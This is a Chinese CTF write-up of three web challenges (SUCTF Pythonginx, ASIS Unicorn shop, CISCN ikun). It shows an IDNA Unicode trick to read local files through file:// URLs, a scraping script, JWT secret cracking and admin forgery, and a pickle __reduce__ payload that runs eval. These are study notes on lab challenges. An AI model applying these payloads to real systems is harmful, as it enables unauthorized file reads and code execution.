[SUCTF 2019]Pythonginx
第一次接触python类的题,试试看
@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333"
#Dont worry about the suctf.cc. Go on!
#Do you know the nginx?
审计,如果host==’suctf.cc‘就会报错,所以前两个不能等于这个,而最后一个if要求等于他(这里第三个经过了 decode('utf-8') )
遍历百度
我们传入的url为http://evil.c℀.com在经过上述处理过后便成为了http://evil.ca/c.com
注释给了两条信息,nginx和不要担心suctf.cc
因为是nginx,而他的配置文件在/usr/local/nginx/conf/nginx.conf
我们读一下
这里是在getUrl?url=file://suctf.c℆sr/local/nginx/conf/nginx.conf
回显server { listen 80; location / { try_files $uri @app; } location @app { include uwsgi_params; uwsgi_pass unix:///tmp/uwsgi.sock; } location /static { alias /app/static; } # location /flag { # alias /usr/fffffflag; # } }
读一下flag文件
getUrl?ur=file://suctf.c℆sr/fffffflag
参考师傅们的WP做出来了。再想为什么会有这种情况,百度查阅后发现
这题的出题思路来自于今年BlackHat的一个议题PDF
在unicode中字符℀(U+2100),当IDNA处理此字符时,会将℀变成a/c,因此当你访问此url时,dns服务器会自动将url重定向到另一个网站。如果服务器引用前端url时,只对域名做了限制,那么通过这种方法,我们就可以轻松绕过服务器对域名的限制了。
这里我们需要找出可以利用的类似于分数的字符,让其解析为正常字符
遍历百度发现了一个脚本
# coding:utf-8
for i in range(128,65537):
tmp=chr(i)
try:
res = tmp.encode('idna').decode('utf-8')
if("-") in res:
continue
print("U:{} A:{} ascii:{} ".format(tmp, res, i))
except:
pass
此脚本会自动检测可以替换的字符
之后还查询了一下nginx的相关信息
配置文件存放目录:/etc/nginx 主配置文件:/etc/nginx/conf/nginx.conf 管理脚本:/usr/lib64/systemd/system/nginx.service 模块:/usr/lisb64/nginx/modules 应用程序:/usr/sbin/nginx 程序默认存放位置:/usr/share/nginx/html 日志默认存放位置:/var/log/nginx 配置文件目录为:/usr/local/nginx/conf/nginx.conf
未来遇到此类题目可以继续进一步理解
[ASIS 2019]Unicorn shop
打开后一个买独角兽的页面
前三个比较便宜,最后一个比较贵重,我们购买前三个的提示是一样的
而购买最后一个的时候,会提示
可以看到这里只能填入一个字符
如何绕过并正常买到第四个独角兽呢
在源码中,发现了这样的句子<meta charset="utf-8"><!--Ah,really important,seriously. -->
这里提示有什么用呢,遍历百度
UNICODE编码发现一个网站可以找到utf编码,代表的数字大于1337即可;符号直接提交就获得flag了
[CISCN2019 华北赛区 Day1 Web2]ikun
打开后为cxk篮球高发
这里提示买到lv6,而下面只有lv5,随便翻了几页无果,写个脚本跑一下
import requests
for i in range(1,1000):
url='http://e7584550-20b1-4acb-aae2-fabb512e4a96.node3.buuoj.cn/shop?page={}'.format(i)
url1=requests.get(url)
if "lv6.png" in url1.text:
print(i)
exit()
发现在第181页有lv6
而我们又发现,这个lv6的价格高的离谱,我们注册的账户只有1K的经济(追星真难)
抓包后发现这个折扣是传入的,我们把折扣改大一点
发现了新的页面,访问
这里注意,抓包的时候还需要注意到一个关键变量。JWT 什么是JWT
在https://jwt.io/中解密。将username改为admin。并用jwtcrack工具爆破出秘钥1Kun加密后修改cookie,发送获得一个www.zip源码
审计python代码,因为是ADMIN登陆的,所以我们先审计admin.py
import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib
class AdminHandler(BaseHandler):
@tornado.web.authenticated
def get(self, *args, **kwargs):
if self.current_user == "admin":
return self.render('form.html', res='This is Black Technology!', member=0)
else:
return self.render('no_ass.html')
@tornado.web.authenticated
def post(self, *args, **kwargs):
try:
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
return self.render('form.html', res=p, member=1)
except:
return self.render('form.html', res='This is Black Technology!', member=0)
在post函数中,首先会获取become变量,之后使用urllib.unqote(become)进行url编码 百度后发现。pickle.loads对应反序列化,pickle.dumps对应反序列化
这里可能需要用到python反序列化了
然后遍历百度,发现python魔术方法reduce
当定义扩展类型时(也就是使用Python的C语言API实现的类型),如果你想pickle它们,你必须告诉Python如何pickle它们。
_reduce_ 被定义之后,当对象被Pickle时就会被调用。
即该魔术方法为pickle的入口
我们写个python让他调用并打开flag文件
import pickle
import urllib
class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))
a = pickle.dumps(payload())
a = urllib.quote(a)
print a
还是来了解一下他们是干嘛的为什么可以这样使用吧
reduce它要么返回一个代表全局名称的字符串,Pyhton会查找它并pickle,要么返回一个元组。
这个元组包含2到5个元素,其中包括:
一个可调用的对象,用于重建对象时调用;
一个参数元素,供那个可调用对象使用;
被传递给 setstate 的状态(可选);一个产生被pickle的列表元素的迭代器(可选);一个产生被pickle的字典元素的迭代器(可选)
我们要返回的是flag.txt的字节流,所以我们需要返回一个元组,这个元组包含两个必选的参数,第一个可调用的对象,我们这里用的eval,第二个参数,我们使用的是open(’/flag.txt’,‘r’).read()
python跑一下传给become即可获得flag
这题的知识点太多了,也是我第一次看python类的题目,还有很多没有掌握的知识,需要慢慢消化
好多师傅都做出来了,太强了